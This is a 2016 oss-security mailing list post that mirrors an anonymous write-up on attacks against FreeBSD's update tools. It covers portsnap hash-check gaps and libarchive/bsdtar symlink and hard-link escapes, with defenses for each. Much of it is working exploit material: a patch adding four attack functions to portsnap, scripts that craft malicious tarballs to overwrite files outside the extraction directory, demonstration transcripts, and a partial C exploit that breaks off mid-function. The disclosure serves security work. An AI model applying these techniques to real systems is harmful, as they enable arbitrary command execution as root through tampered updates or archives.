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Message-ID: <20160809130823.7d45ae0a@pc1>
Date: Tue, 9 Aug 2016 13:08:23 -0700
From: Hanno Böck <hanno@...eck.de>
To: OSS Security Mailinglist <oss-security@...ts.openwall.com>
Subject: FreeBSD update components vulns (libarchive, bsdiff, portsnap)
Hi,
I think this hasn't received the attention yet that it deserves.
Recently a bug report showed up in libarchive's bug tracker [1] pointing
to an anonymous document [2] on github that describes in a lot of detail
several vulnerabilities in the update process of FreeBSD. Origin
totally unclear.
What's most worrying about it is that there's a hint that there may
exist similar documents for Linux systems, yet they haven't showed up
yet.
Bottom line: FreeBSD needs to fix their stuff (it seems the fix
they used for bspatch is incomplete [3]) and Linux distros probably
would do good trying to look into potential security issues in the
update / package management components of their systems.
Even though it's a lot I'll paste the content of the original post and
the anonymous document so we have another mirror.
[1] https://github.com/libarchive/libarchive/issues/743
[2] https://gist.github.com/anonymous/e48209b03f1dd9625a992717e7b89c4f
[3]
https://lists.freebsd.org/pipermail/freebsd-security/2016-July/009016.html
-------
Bug report:
caught this post elsewhere.
Our AV researchers have analyzed the following link that was
cloud-submitted as suspect:
https://gist.github.com/anonymous/e48209b03f1dd9625a992717e7b89c4f
The document is from an unknown author and describes "non-cryptanalytic
attacks against FreeBSD update components." The affected components are
the portsnap and freebsd-update tools, both directly and indirectly.
From what we can tell, the text file is part of a larger stash of
documents, all with the same attack-defense style. We have other
documents, dated 2014 and 2015, detailing attacks against the update
systems of multiple Linux distributions and the corresponding defenses
against "the adversary."
We believe this to be the work of an MITM-capable advanced threat actor.
Full details of our findings will be released in the coming weeks. This
is a courtesy heads-up to FreeBSD users.
---------
anonymous github document:
/=============================================================\
| NON-CRYPTANALYTIC ATTACKS AGAINST FREEBSD UPDATE COMPONENTS |
\=============================================================/
1. portsnap
2. libarchive/bsdtar
3. bspatch
/==========\
| PORTSNAP |
\==========/
The portsnap(8) script depends on a cryptographic chain of trust based
on SHA256 hashes, all of them anchored to an RSA public key (pub.ssl)
with a trusted keyprint defined in /etc/portsnap.conf. Unfortunately,
the initial snapshot tarball is not properly verified, allowing a
resourceful attacker to escape the cryptographic chain of trust and
compromise the system.
In the portsnap(8) script, the function fetch_snapshot() fetches the
initial snapshot tarball and immediately extracts it without any hash
verification. (Indeed, there is no hash with which to verify this
tarball, for the hash in the tarball's filename is the hash of the
tINDEX.new metadata file fetched earlier.)
Exploitation vectors follow from
(i) vulnerabilities in libarchive/bsdtar itself. These are the
subject of the second security report. The symlink attacks have an
obvious impact, allowing any file on the system to be overwritten,
paving the way for immediate command execution. The hard-link
attacks, typically being restricted to /var because of filesystem
segmentation, can target /var/run/ld-elf.so.hints.
(ii) the attacker's ability to smuggle in unexpected tarball
contents. At first glance, it appears that fetch_snapshot()
verifies, with two calls to the function fetch_snapshot_verify(),
the contents of the tarball that _should_ be there; however,
nothing is done about the contents of the tarball that _should not_
be there.
This first report considers only the second class of vectors.
Exploitation vector #1: fetch_snapshot_verify() error
------------------------------------------------------
The function fetch_snapshot_verify() contains the following hash check:
if [ "`gunzip -c snap/${F} | ${SHA256} -q`" != ${F} ]; then
The problem is that ${F} expands to a file hash without any .gz suffix.
As documented in the gunzip(1) manual page, gunzip(1) will first try
opening the file snap/${F}. Failing that, it will automatically append
a suffix and try opening the file snap/${F}.gz.
An attacker can supply both snap/${F} and snap/{F}.gz, where the first
file is clean and passes the hash check and the second file is
malicious. Because the portsnap(8) script explicitly appends a .gz
suffix for every other use of gunzip(1), the attacker's malicious file
will be the one chosen for extraction.
Exploitation vector #1: defense
-------------------------------
A band-aid solution for this vector is to add the .gz extension:
if [ "`gunzip -c snap/${F}.gz | ${SHA256} -q`" != ${F} ]; then
Exploitation vector #2: file prediction
---------------------------------------
An attacker can smuggle in files that will be used in later portsnap(8)
runs. When fetching new files based on differences in tINDEX/tINDEX.new
and INDEX/INDEX.new, the functions fetch_make_patchlist() and
fetch_update() will request new files only if they do not already exist
in /var/db/portsnap/files. If they do already exist (because an
attacker has provided them), they will not be overwritten and will not
be subject to hash verification.
This is all well and good, but it would seem that an attacker faces the
difficult task of guessing future SHA256 hashes. Fortunately for the
attacker, there is usually an asynchrony on the portsnap servers
between the snapshop tag (snapshot.ssl) and the update tag
(latest.ssl). An initialization run of portsnap(8) will, via the
function fetch_run(), grab the snapshot tarball, handle it, and then
automatically check for an available update. All the attacker has to do
is ensure the tarball contains the malicious file snap/X.gz, where X is
a hash learned from the already available update on the server.
Exploitation vector #2: defense
-------------------------------
All four demonstration attacks given below would be foiled if the
snapshot tarball were to be cryptographically verified, perhaps via a
hash added to the snapshot tag. This would also provide protection for
libarchive/bsdtar, the attack surface of which has barely been
scratched in the second security report, with only filesystem-based
attacks investigated. At ~100K lines of code with auto-detected
multi-format support, libarchive/bsdtar is far too dangerous to trust
with pre-verification root privileges.
The more general problem is that portsnap(8), along with
freebsd-update(8), contains more pre-verification processing than
strictly necessary. Hashes are checked _after_ running gunzip(1),
bspatch(1), and various character-stream utilities rather than
_before_, leading to problems such as the bspatch(1) memory-corruption
attack in the third security report. Contrast this with the ports
system proper, which guards virtually all processing with the
'checksum' target.
Attack demonstrations
---------------------
Attack #1 is an example attack using exploitation vector #1. It
achieves arbitrary command execution when the ports system is next used
after an initialization run of `portsnap fetch extract`.
Attack #2 is an example attack using exploitation vector #2. It achieves
arbitrary command execution when the ports system is next used after an
initialization run of `portsnap fetch extract`.
Attacks #3 and #4 are example attacks using exploitation vector #2.
They achieve immediate arbitrary command execution during an
initialization run of `portsnap fetch extract`.
These attacks are purely for demonstration purposes, so no effort has
been made to make them stealthy. Attacks #3 and #4 in particular are
very noisy and do not bother extracting a full ports tree.
The following patch can be applied to /usr/sbin/portsnap. The modified
script allows convenient simulation of actual attacks. Simulation means
that the modified script does not "cheat" -- a corrupt snapshot could
achieve the same effects outside the cryptographic chain of trust. Full
descriptions of the individual attacks appear afterward.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
@@ -654,6 +654,95 @@
return 0
}
+attack_one() {
+
+ evilcmds='EVILCMDS != /usr/bin/touch /tmp/evil_file_1; echo x'
+
+ snapshot=`cut -f3 -d'|' tag.new`.tgz
+ index=`look INDEX tINDEX.new | cut -f2 -d'|'`
+ tar -xz --numeric-owner -f "$snapshot" snap/
+ mk=`zgrep '^Mk/bsd\.commands\.mk' "snap/$index.gz" | cut -f2 -d
'|'`
+ tar -xzf "snap/$mk.gz"
+ echo "$evilcmds" >> Mk/bsd.commands.mk
+ mv "snap/$mk.gz" "snap/$mk"
+ tar -czf "snap/$mk.gz" Mk/bsd.commands.mk
+ rm -f "$snapshot"
+ tar -czf "$snapshot" snap/
+ rm -rf snap Mk
+}
+
+attack_two() {
+
+ evilcmds='EVILCMDS != /usr/bin/touch /tmp/evil_file_2; echo x'
+
+ indexold=`look INDEX tINDEX | cut -f2 -d'|'`
+ indexnew=`look INDEX tINDEX.new | cut -f2 -d'|'`
+ mk=`zgrep '^Mk/bsd\.commands\.mk' "files/$indexold.gz" | cut -f2
-d '|'`
+ tar -xzf "files/$mk.gz"
+ echo "$evilcmds" >> Mk/bsd.commands.mk
+ tar -czf x.gz Mk/bsd.commands.mk
+ bcmhash=`gunzip -c x.gz | sha256`
+ mv x.gz "files/$bcmhash.gz"
+ (zcat "files/$indexold.gz"; echo "Mk/bsd.commands.mk|$bcmhash") |
+ gzip > "files/$indexnew.gz"
+ rm -rf Mk
+}
+
+attack_three() {
+
+ evilcmds='/usr/bin/touch /tmp/evil_file_3'
+
+ cp /usr/bin/cut /tmp/cut.saved3
+ echo "/usr/bin/cut saved to /tmp/cut.saved3"
+ indexnew=`look INDEX tINDEX.new | cut -f2 -d'|'`
+ cmdsfile=/var/db/portsnap/files/evilcmds.sh
+ cmdshash=`jot -s "" -b "a" 64`
+ symfile=.portsnap.INDEX
+ symhash=`jot -s "" -b "f" 64`
+ cat > "files/$indexnew" << EOF
+$cmdsfile|$cmdshash
+$symfile|$symhash
+EOF
+ gzip "files/$indexnew"
+ cat > "$cmdsfile" << EOF
+#!/bin/sh
+$evilcmds
+EOF
+ chmod 777 "$cmdsfile"
+ touch "files/$cmdshash"
+ gzip "files/$cmdshash"
+ ln -s /usr/bin/cut "$symfile"
+ tar -czf "files/$symhash.gz" "$symfile"
+ rm -f "$symfile"
+}
+
+attack_four() {
+ evilcmds='/usr/bin/touch /tmp/evil_file_4'
+
+ cp /usr/bin/cut /tmp/cut.saved4
+ echo "/usr/bin/cut saved to /tmp/cut.saved4"
+ indexnew=`look INDEX tINDEX.new | cut -f2 -d'|'`
+ symfile=sym
+ symhash=`jot -s "" -b "a" 64`
+ cmdshash=`jot -s "" -b "f" 64`
+ cat > "files/$indexnew" << EOF
+$symfile|$symhash
+-P|$cmdshash
+EOF
+ gzip "files/$indexnew"
+ ln -s /usr/bin "$symfile"
+ tar -czf "files/$symhash.gz" "$symfile"
+ rm -f "$symfile"
+ mkdir "$symfile"
+ cat > "$symfile/cut" << EOF
+#!/bin/sh
+$evilcmds
+EOF
+ chmod 777 "$symfile/cut"
+ tar -czf "files/$cmdshash.gz" "$symfile/cut"
+ rm -r "$symfile"
+}
+
# Fetch a snapshot tarball, extract, and verify.
fetch_snapshot() {
while ! fetch_tag snapshot; do
@@ -671,6 +760,8 @@
echo "Fetching snapshot generated at `date -r
${SNAPSHOTDATE}`:" fetch -r http://${SERVERNAME}/s/${SNAPSHOTHASH}.tgz
|| return 1
+ [ "$ATTACK" = "one" ] && attack_one
+
echo -n "Extracting snapshot... "
tar -xz --numeric-owner -f ${SNAPSHOTHASH}.tgz snap/ || return
1 rm ${SNAPSHOTHASH}.tgz
@@ -714,6 +805,10 @@
fetch_metadata || return 1
fetch_metadata_sanity || return 1
+ [ "$ATTACK" = "two" ] && attack_two
+ [ "$ATTACK" = "three" ] && attack_three
+ [ "$ATTACK" = "four" ] && attack_four
+
echo -n "Updating from `date -r ${OLDSNAPSHOTDATE}` "
echo "to `date -r ${SNAPSHOTDATE}`."
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Attack #1
---------
Directories /usr/ports and /var/db/portsnap are cleaned.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
attack_one() {
evilcmds='EVILCMDS != /usr/bin/touch /tmp/evil_file_1; echo x'
snapshot=`cut -f3 -d'|' tag.new`.tgz
index=`look INDEX tINDEX.new | cut -f2 -d'|'`
tar -xz --numeric-owner -f "$snapshot" snap/
mk=`zgrep '^Mk/bsd\.commands\.mk' "snap/$index.gz" | cut -f2 -d '|'`
tar -xzf "snap/$mk.gz"
echo "$evilcmds" >> Mk/bsd.commands.mk
mv "snap/$mk.gz" "snap/$mk"
tar -czf "snap/$mk.gz" Mk/bsd.commands.mk
rm -f "$snapshot"
tar -czf "$snapshot" snap/
rm -rf snap Mk
}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
This attack simulates the delivery of a corrupt snapshot tarball
including two files:
snap/$mk
snap/$mk.gz
where snap/$mk contains a clean Mk/bsd.commands.mk and is used to pass
hash verification but where snap/$mk.gz contains a custom
Mk/bsd.commands.mk and is used for extraction.
Mk/bsd.commands.mk is a file that is not updated often, so
modifications will not be overwritten, and it is unconditionally
included in Mk/bsd.port.mk, so commands inside it will be run when
using the ports system.
# ATTACK=one portsnap fetch
[...]
# portsnap extract
[...]
# tail -n 1 /usr/ports/Mk/bsd.commands.mk
EVILCMDS != /usr/bin/touch /tmp/evil_file_1; echo x
# cd /usr/ports/[...]/[...]
# ls /tmp/evil_file_1
ls: /tmp/evil_file_1: No such file or directory
# make fetch
[...]
# ls /tmp/evil_file_1
/tmp/evil_file_1
Attack #2
---------
Directories /usr/ports and /var/db/portsnap are cleaned.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
attack_two() {
evilcmds='EVILCMDS != /usr/bin/touch /tmp/evil_file_2; echo x'
indexold=`look INDEX tINDEX | cut -f2 -d'|'`
indexnew=`look INDEX tINDEX.new | cut -f2 -d'|'`
mk=`zgrep '^Mk/bsd\.commands\.mk' "files/$indexold.gz" | cut -f2 -d
'|'` tar -xzf "files/$mk.gz"
echo "$evilcmds" >> Mk/bsd.commands.mk
tar -czf x.gz Mk/bsd.commands.mk
bcmhash=`gunzip -c x.gz | sha256`
mv x.gz "files/$bcmhash.gz"
(zcat "files/$indexold.gz"; echo "Mk/bsd.commands.mk|$bcmhash") |
gzip > "files/$indexnew.gz"
rm -rf Mk
}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
This attack simulates the delivery of a corrupt snapshot tarball
including two malicious files:
snap/$bcmhash.gz
snap/$indexnew.gz
where snap/$bcmhash.gz contains a custom Mk/bsd.commands.mk and where
snap/$indexnew.gz contains an update INDEX. (Note that the script peeks
inside tINDEX.new for the update INDEX hash, which is not "cheating,"
for an attacker can learn the same information from the update metadata
available on the server, assuming an update is available, which is
typically the case.)
The update INDEX is an otherwise sane INDEX file with the following
line appended:
Mk/bsd.commands.mk|$bcmhash
When portsnap(8) discovers that the update INDEX already exists on the
filesystem, this file will not be overwritten and will not be
hash-verified.
# ATTACK=two portsnap fetch
[...]
# portsnap extract
[...]
# tail -n 1 /usr/ports/Mk/bsd.commands.mk
EVILCMDS != /usr/bin/touch /tmp/evil_file_2; echo x
# cd /usr/ports/[...]/[...]
# ls /tmp/evil_file_2
ls: /tmp/evil_file_2: No such file or directory
# make fetch
[...]
# ls /tmp/evil_file_2
/tmp/evil_file_2
Attack #3
---------
Directories /usr/ports and /var/db/portsnap are cleaned.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
attack_three() {
evilcmds='/usr/bin/touch /tmp/evil_file_3'
cp /usr/bin/cut /tmp/cut.saved3
echo "/usr/bin/cut saved to /tmp/cut.saved3"
indexnew=`look INDEX tINDEX.new | cut -f2 -d'|'`
cmdsfile=/var/db/portsnap/files/evilcmds.sh
cmdshash=`jot -s "" -b "a" 64`
symfile=.portsnap.INDEX
symhash=`jot -s "" -b "f" 64`
cat > "files/$indexnew" << EOF
$cmdsfile|$cmdshash
$symfile|$symhash
EOF
gzip "files/$indexnew"
cat > "$cmdsfile" << EOF
#!/bin/sh
$evilcmds
EOF
chmod 777 "$cmdsfile"
touch "files/$cmdshash"
gzip "files/$cmdshash"
ln -s /usr/bin/cut "$symfile"
tar -czf "files/$symhash.gz" "$symfile"
rm -f "$symfile"
}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
This attack simulates the delivery of a corrupt snapshot tarball
including four malicious files:
snap/$indexnew.gz
snap/evilcmds.sh
snap/$cmdshash.gz
snap/$symhash.gz
where snap/$indexnew.gz contains an update INDEX, where
snap/evilcmds.sh is a shell script containing arbitrary commands, where
snap/$cmdshash.gz is a dummy file for snap/evilcmds.sh, and where
snap/$symhash.gz contains the symlink .portsnap.INDEX -> /usr/bin/cut.
The update INDEX is the following:
/var/db/portsnap/files/evilcmds.sh|aaa[...]aaa
.portsnap.INDEX|fff[...]fff
The idea is to use a symlink to break out of /usr/ports. Although
tar(1), when operating as intended without special switches, refuses to
extract _through_ symlinks, it will happily _extract_ symlinks pointing
anywhere on the system, allowing another utility to cause damage
_through_ those symlinks. Observe the following lines in the
portsnap(8) script:
extract_metadata() {
if [ -z "${REFUSE}" ]; then
sort ${WORKDIR}/INDEX > ${PORTSDIR}/.portsnap.INDEX
During extraction, .portsnap.INDEX will become a symlink pointing to
/usr/bin/cut. The lines above will cause /usr/bin/cut to be overwritten
with our sorted update INDEX. In other words, /usr/bin/cut will contain
the following:
.portsnap.INDEX|fff[...]fff
/var/db/portsnap/files/evilcmds.sh|aaa[...]aaa
/usr/bin/cut will be executed in extract_indices(). The kernel will
reject the new /usr/bin/cut for execution, but the shell will
notice the failed execution and try running /usr/bin/cut as a shell
script. The pipe characters will be interpreted as command
delimiters. Hence we have achieved execution
of /var/db/portsnap/files/evilcmds.sh (the three other "commands"
will fail, of course).
/tmp/cut.saved3 is a copy of the original /usr/bin/cut.
# ATTACK=three portsnap fetch
[...]
# ls /tmp/evil_file_3
ls: /tmp/evil_file_3: No such file or directory
# portsnap extract
[...]
# ls /tmp/evil_file_3
/tmp/evil_file_3
# cat /usr/bin/cut
.portsnap.INDEX|fff[...]fff
/var/db/portsnap/files/evilcmds.sh|aaa[...]aaa
# mv /tmp/cut.saved3 /usr/bin/cut
Attack #4
---------
Directories /usr/ports and /var/db/portsnap are cleaned.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
attack_four() {
evilcmds='/usr/bin/touch /tmp/evil_file_4'
cp /usr/bin/cut /tmp/cut.saved4
echo "/usr/bin/cut saved to /tmp/cut.saved4"
indexnew=`look INDEX tINDEX.new | cut -f2 -d'|'`
symfile=sym
symhash=`jot -s "" -b "a" 64`
cmdshash=`jot -s "" -b "f" 64`
cat > "files/$indexnew" << EOF
$symfile|$symhash
-P|$cmdshash
EOF
gzip "files/$indexnew"
ln -s /usr/bin "$symfile"
tar -czf "files/$symhash.gz" "$symfile"
rm -f "$symfile"
mkdir "$symfile"
cat > "$symfile/cut" << EOF
#!/bin/sh
$evilcmds
EOF
chmod 777 "$symfile/cut"
tar -czf "files/$cmdshash.gz" "$symfile/cut"
rm -r "$symfile"
}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
This attack simulates the delivery of a corrupt snapshot tarball
including three malicious files:
snap/$indexnew.gz
snap/$symhash.gz
snap/$cmdshash.gz
where snap/$indexnew.gz contains an update INDEX, where
snap/$symhash.gz contains the symlink sym -> /usr/bin, and where
snap/$cmdshash.gz contains the shell script sym/cut.
The update INDEX is the following:
sym|aaa[...]aaa
-P|fff[...]fff
As in attack #3, the idea is to use a symlink to break out
of /usr/ports and overwrite /usr/bin/cut, only this time we simplify
the attack with a tar(1) -P switch injection to disable the usual
symlink checks. Observe the following lines in the portsnap(8) script:
extract_run() {
[...]
rm -f ${PORTSDIR}/${FILE}
tar -xz --numeric-owner -f ${WORKDIR}/files/${HASH}.gz \
-C ${PORTSDIR} ${FILE}
After the symlink sym -> /usr/bin has been extracted, the shell script
sym/cut will be extracted through that symlink,
overwriting /usr/bin/cut. The tar(1) symlink checks are bypassed
because ${FILE} expands to the -P switch.
/tmp/cut.saved4 is a copy of the original /usr/bin/cut.
# ATTACK=four portsnap fetch
[...]
# ls /tmp/evil_file_4
ls: /tmp/evil_file_4: No such file or directory
# portsnap extract
[...]
# ls /tmp/evil_file_4
/tmp/evil_file_4
# cat /usr/bin/cut
#!/bin/sh
/usr/bin/touch /tmp/evil_file_4
# mv /tmp/cut.saved4 /usr/bin/cut
/===================\
| LIBARCHIVE/BSDTAR |
\===================/
The non-HEAD branches of FreeBSD still use libarchive/bsdtar 3.1.2 in
base, released in Feb 2013. The next version, 3.2.0, was released
recently (May 2016) and added to both the HEAD branch and ports.
Unless invoked with the -P switch, bsdtar tries to prevent three
classes of filesystem attacks:
(1) absolute paths
- handled by bsdtar itself via edit_pathname() in tar/util.c
- not handled by bsdcpio until upstream commit 5935715 (Mar
2015), addressing CVE-2015-2304 (nothing more will be said about
bsdcpio in this report, but note that FreeBSD non-HEAD is
still vulnerable to this particular bug)
(2) dot-dot paths
- handled by libarchive via cleanup_pathname() in
libarchive/archive_write_disk_posix.c
(3) extraction through symlinks
- handled by libarchive via check_symlinks() in
libarchive/archive_write_disk_posix.c
Three vulnerabilities exist in check_symlinks(). One of these, allowing
a file overwrite outside the extraction directory, was discovered
independently and has already been silently fixed upstream, though
FreeBSD non-HEAD is still vulnerable. The other two vulnerabilities --
one allowing a file overwrite outside the extraction directory and the
other allowing permission changes to a directory outside the extraction
directory -- are new and exist in both FreeBSD and upstream source.
A fourth vulnerability, also new and existing in both FreeBSD and
upstream source, arises from the fact that link-target pathnames are
not subjected to the security checks listed above. This, combined with
the fact that libarchive supports the POSIX feature of hard links with
data payloads, allows a file overwrite outside the extraction directory
(under hard-linking constraints).
The vulnerability matrix summarizing the above information is as
follows:
| non-HEAD (3.1.2) | HEAD/ports (3.2.0) | latest upstream
-----------------------------------------------------------------
bsdcpio | Y | N | N
vuln #1 | Y | N | N
vuln #2 | Y | Y | Y
vuln #3 | Y | Y | Y
vuln #4 | Y | Y | Y
(Y = vulnerable, N = not vulnerable)
Earlier versions may also be vulnerable.
VULNERABILITY #1
----------------
{Affects}
3.1.2 (FreeBSD non-HEAD), possibly earlier
{Description}
check_symlinks() checks only the first pathname component for symlinks.
In the pathname
dir1/dir2/file
check_symlinks() will ensure that 'dir1' is not a symlink, and in most
cases, 'file' will fortuitously still be unlinked elsewhere in
libarchive if it is a symlink, but 'dir2' will not be checked.
{Demonstration}
libarchive correctly catches this:
$ echo hello > /tmp/myfile
$ ln -s /tmp dir1
$ tar cf x.tar dir1
$ rm dir1
$ mkdir dir1
$ echo goodbye > dir1/myfile
$ touch clear_safe_cache
$ tar rf x.tar clear_safe_cache dir1/myfile
$ rm -r clear_safe_cache dir1
$ ls
x.tar
$ tar tf x.tar
dir1
clear_safe_cache
dir1/myfile
$ tar xvf x.tar
x dir1
x clear_safe_cache
x dir1/myfile: Cannot extract through symlink dir1
tar: Error exit delayed from previous errors.
$ cat /tmp/myfile
hello
But libarchive fails to catch this:
$ rm *
$ mkdir dir1
$ ln -s /tmp dir1/dir2
$ tar cf x.tar dir1/dir2
$ rm -r dir1
$ mkdir -p dir1/dir2
$ echo goodbye > dir1/dir2/myfile
$ touch clear_safe_cache
$ tar rf x.tar clear_safe_cache dir1/dir2/myfile
$ rm -r clear_safe_cache dir1
$ ls
x.tar
$ tar tf x.tar
dir1/dir2
clear_safe_cache
dir1/dir2/myfile
$ tar xvf x.tar
x dir1/dir2
x clear_safe_cache
x dir1/dir2/myfile
$ cat /tmp/myfile
goodbye
{Defense}
This was independently discovered and silently fixed in upstream commit
6a7b8ad (Jan 2016). There was no associated version bump, CVE ID, or
vuln report, so it is unclear whether the security impact was
recognized. The fix is included in the recent 3.2.0 release, but it is
not mentioned in the "Security Fixes" section of the release notes.
VULNERABILITY #2
----------------
{Affects}
3.2.0 (FreeBSD HEAD/ports), 3.1.2 (FreeBSD non-HEAD), possibly earlier
{Description}
When check_symlinks() fails on an lstat() call, it checks errno for only
ENOENT:
r = lstat(a->name, &st);
if (r != 0) {
/* We've hit a dir that doesn't exist; stop now. */
if (errno == ENOENT)
break;
}
All other error conditions get a free pass. In particular, ENAMETOOLONG
gets a free pass. This is by design: The function
_archive_write_disk_header() calls edit_deep_directories() after
check_symlinks() in an effort to accommodate deep directories.
Unfortunately, the interaction between the symlink checks and the
deep-directory support introduces a security vulnerability, in that
the symlink checks are effectively disabled for long pathnames.
{Demonstration}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
#!/bin/sh
ELEMENT_LEN=200
ELEMENT_NUM=6
ELEMENT_STR=`jot -s "" -b "D" $ELEMENT_LEN`
currdir=`pwd`
exec < "$2"
i=0
while [ $i -lt $ELEMENT_NUM ]; do
mkdir $ELEMENT_STR
cd $ELEMENT_STR
i=$(($i + 1))
done
ln -s / slink
tar cf "$currdir/x.tar" -C "$currdir" $ELEMENT_STR
rm -f slink
mkdir -p "slink/`dirname "$1"`"
cat - > "slink/$1"
tar rf "$currdir/x.tar" -C "$currdir" $ELEMENT_STR
cd "$currdir"
rm -rf $ELEMENT_STR
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
$ cat /tmp/myfile
cat: /tmp/myfile: No such file or directory
$ echo this is the data I want > data
$ ./vuln2.sh /tmp/myfile data
$ ls
data vuln2.sh x.tar
$ tar xf x.tar
[error messages omitted]
$ cat /tmp/myfile
this is the data I want
$ rm -r D* data x.tar
$ echo overwrite existing file > data
$ ./vuln2.sh /tmp/myfile data
$ tar xf x.tar
[error messages omitted]
$ cat /tmp/myfile
overwrite existing file
{Defense}
The best solution is probably to excise the function
edit_deep_directories() altogether and then change check_symlinks() to
return ARCHIVE_FAILED when lstat() fails with errno other than ENOENT.
It does not appear to be worth the trouble trying to work around
PATH_MAX. Incidentally, POSIX defines PATH_MAX to include the
terminating NUL, so if edit_deep_directories() is to remain, its two
strlen() checks should be fixed accordingly: < PATH_MAX and >= PATH_MAX.
VULNERABILITY #3
----------------
{Affects}
3.2.0 (FreeBSD HEAD/ports), 3.1.2 (FreeBSD non-HEAD), possibly earlier
{Description}
check_symlinks() employs a single-bin safety cache as an optimization.
The idea is that after checking the pathname
aaa/bbb/ccc
for symlinks, if the next pathname is
aaa/bbb/ddd
there is no need to recheck aaa/bbb for symlinks. Unfortunately, a
cached aaa/bbb/ccc (where the directories are included for
illustration purposes -- simple filenames also work) allows symlink
checks to be bypassed if the next entry's pathname is one of
a
aa
aaa
aaa/b
aaa/bb
aaa/bbb
aaa/bbb/c
aaa/bbb/cc
aaa/bbb/ccc
The functions restore_entry() and create_filesystem_object() in
libarchive/archive_write_disk_posix.c appear to constrain the impact of
this vulnerability on FreeBSD to permission changes on arbitrary
directories. The root user is affected in default operation, whereas
normal users may need to issue the -p switch (distinct from the -P
switch) to be affected:
$ mkdir /tmp/mydir
$ ls -ld /tmp/mydir
drwxr-xr-x [...]
$ ln -s /tmp/mydir sym
$ tar cf x.tar sym
$ rm sym
$ mkdir sym
$ chmod 777 sym
$ tar rf x.tar sym
$ rmdir sym
$ tar tf x.tar
sym
sym/
$ tar xf x.tar
$ ls -ld /tmp/mydir
drwxr-xr-x [...]
$ ls
sym x.tar
$ rm sym
$ tar xf x.tar -p
$ ls -ld /tmp/mydir
drwxrwxrwx [...]
$ rm -r /tmp/mydir *
As the root user:
# mkdir /tmp/mydir
# ls -ld /tmp/mydir
drwxr-xr-x [...]
# ln -s /tmp/mydir sym
# tar cf x.tar sym
# rm sym
# mkdir sym
# chmod 777 sym
# tar rf x.tar sym
# rmdir sym
# tar tf x.tar
sym
sym/
# tar xf x.tar
# ls -ld /tmp/mydir
drwxrwxrwx [...]
{Defense}
This vulnerability subverts the assurances of check_symlinks(), so a
fix should be local to check_symlinks(). It might also be worth
investigating whether the performance gains of the safety cache are
worth the added complexity and hairiness in such a security-critical
function.
VULNERABILITY #4
----------------
{Affects}
3.2.0 (FreeBSD HEAD/ports), 3.1.2 (FreeBSD non-HEAD), possibly earlier
{Description}
Recall the three classes of filesystem attacks listed earlier:
(1) absolute paths
(2) dot-dot paths
(3) extraction through symlinks
These checks are applied as usual to the pathnames of symlinks and hard
links but not to their targets, with one exception: The targets of
hard links are subjected to absolute-path checks in tar/util.c as
of FreeBSD revision r270661 and upstream commit cf8e67f (it seems
the revision was submitted upstream and was rewritten in a
different form as the commit -- both strip leading slashes from the
hard-link targets, though not for security reasons).
Archive entries for hard links can use dot-dot pathnames in their
targets to point at any file on the system, subject to the usual
hard-linking constraints. Alternatively, on systems that follow
symlinks for link() -- which is an implementation-defined behavior
supported by FreeBSD -- a symlink can first be extracted that uses
absolute or dot-dot pathnames to point at the file, and then the
hard-link target can be the symlink, which means that filtering the
hard-link target for dot-dot paths is not sufficient to address the
problem.
The ability to point hard links at outside files becomes more serious
when we consider that libarchive supports the POSIX feature of hard
links with data payloads. This allows an attacker to point a hard link
at an existing target file outside the extraction directory and use the
data payload to overwrite the file.
{Demonstration}
Exploit code is included below.
$ cd /tmp/cage
$ ls
vuln4.c
$ cc -o vuln4 vuln4.c -larchive
$ echo hello > /tmp/target
$ echo goodbye > data
$ ./vuln4 x.tar data p ../../../tmp/target
$ tar tvf x.tar
-rwxrwxrwx 0 0 0 8 Jan 1 1970 p link
to ../../../tmp/target $ tar xvf x.tar
x p
$ cat /tmp/target
goodbye
The code could be rewritten to use symlinks instead of dot-dot paths:
$ cd /tmp/cage
$ ls
vuln4 vuln4.c
$ echo hello > /tmp/target
$ echo goodbye > data
$ ln -s /tmp/target sym
$ ./vuln4 x.tar data p sym
$ tar tvf x.tar
-rwxrwxrwx 0 0 0 8 Jan 1 1970 p link to sym
$ tar xvf x.tar
x p
$ cat /tmp/target
goodbye
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
#include <sys/types.h>
#include <sys/stat.h>
#include <archive.h>
#include <archive_entry.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void make_archive(char *, char *, char *, char *);
static void patch_archive(char *, char *);
static void
make_archive(char *archive, char *file, char *pathname, char *linkname)
{
int fd;
ssize_t len;
char buf[1024];
struct stat s;
struct archive *a;
struct archive_entry *ae;
a = archive_write_new();
archive_write_set_format_pax(a);
archive_write_open_filename(a, archive);
ae = archive_entry_new();
archive_entry_set_pathname(ae, pathname);
